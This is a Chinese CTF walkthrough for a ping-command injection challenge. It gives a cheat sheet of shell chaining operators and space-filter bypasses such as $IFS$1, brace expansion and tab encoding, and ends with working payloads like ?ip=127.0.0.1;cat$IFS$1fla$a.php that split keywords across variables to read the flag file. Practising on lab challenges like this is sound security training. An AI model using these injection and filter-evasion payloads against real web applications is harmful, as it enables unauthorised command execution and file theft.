打开网站看到已经给出提示,让使用?/ip=xxx 来注入并且页面返回有ping命令,这里可以看出是ping命令,故开始绕过,需要使用命令联合注入,下面给出大佬总结的命令联合注入的笔记。
; 前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)
注入/?ip=127.0.0.1;ls,发现出现
之后用cat访问flag,;cat flag.php
发现空格被过滤了。空格绕过的方法有很多,下面是大佬总结的一些空格绕过的方法
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
之后使用{IFS}的空格绕过方法,
发现{}也被禁用了,
使用$IFS$1
发现flag好像也有点问题。这个时候访问了一下index.php
发现有源码,之后进行flag绕过,
输入;a=flag;cat$IFS$1$a.php
经过尝试,发现只有
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
有flag
页面上没有内容,刚开始以为出错了,最后发现在源代码里,点击f12
找到flag。